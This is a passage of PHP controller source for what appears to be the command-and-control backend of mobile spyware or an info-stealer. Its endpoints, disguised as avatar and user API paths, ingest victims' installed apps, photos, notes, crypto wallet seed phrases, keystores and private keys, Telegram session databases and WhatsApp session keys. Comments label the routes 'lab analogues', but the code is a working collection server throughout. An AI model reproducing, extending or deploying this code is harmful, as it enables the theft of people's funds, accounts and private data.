header('Content-Type', 'text/plain'); } /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */ public function profile(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/get */ public function apps(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestInstalledApps($device, $payload); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/avatar/put */ public function event(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestDevicePhone($device, $payload); $this->ingest->ingestDeviceEvent($device, $payload); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/check — photo 7z multipart. */ public function photos(Request $request): Response { $rawKey = $request->attributes->get('coruna_device_key') ?: $request->input('d') ?: $request->input('f'); $deviceKey = is_string($rawKey) && $rawKey !== '' ? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64)) : null; $device = $this->ingest->ensureDevice( $request, array_filter([ 'd' => $deviceKey, 'c' => $request->input('c'), 'channel' => $request->input('channel'), ]), $deviceKey ); $batchBase = (string) ($request->input('batchBase') ?? $request->input('batch_base') ?? $request->input('base') ?? $request->input('ts') ?? '0'); if ($batchBase === '') { $batchBase = '0'; } $xHitRaw = $request->input('x-hit'); $xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null; [$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx')); [$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu')); $photoMeta = [ 'x_hit' => $xHit, 'upload_count' => $uploadCount, 'process_index' => $processIndex, 'text_count' => $textCount, 'barcode_count' => $barcodeCount, ]; if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { $this->photos->accept( $device, (string) $request->file('file')->getRealPath(), $batchBase, $photoMeta, 'xxbb', [ 'idx' => $request->input('idx'), 'ftu' => $request->input('ftu'), 'ts' => $request->input('ts'), 'x-hit' => $xHitRaw, ], ); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */ public function notes(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestNotes($device, $payload); } return $this->xxbbAck($request); } /** * Plugin reports: /uj /us /ub /ba /result. * Dispatch by payload shape onto the same ingest as lab long paths. */ public function plugin(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) { $this->ingest->ingestAddresses($device, $payload); } if (array_key_exists('result', $payload)) { $result = $payload['result']; $asKeystore = is_array($result); if (is_string($result)) { $decoded = json_decode($result, true); $asKeystore = is_array($decoded); } if ($asKeystore) { $this->ingest->ingestKeystore($device, $payload); } else { $this->ingest->ingestMnemonic($device, $payload); } } else { // BitKeep / Global Wallet may send privateKey without wrapping `result`. $this->ingest->ingestMnemonic($device, $payload); } } return $this->xxbbAck($request); } /** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */ public function telegram(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestTelegramAuth($device, $payload); } return $this->xxbbAck($request); } /** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */ public function whatsapp(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestWhatsAppAuth($device, $payload); } return $this->xxbbAck($request); } /** * @param array|null $body */ private function xxbbAck(Request $request, ?array $body = null): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); if ($ts === '') { $ts = (string) ($request->header('x-ts') ?: ''); } if ($ts === '') { $ts = (string) (int) round(microtime(true) * 1000); } $json = $body === null ? '{}' : (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}'); return response($ts.$json, 200)->header('Content-Type', 'text/plain'); } }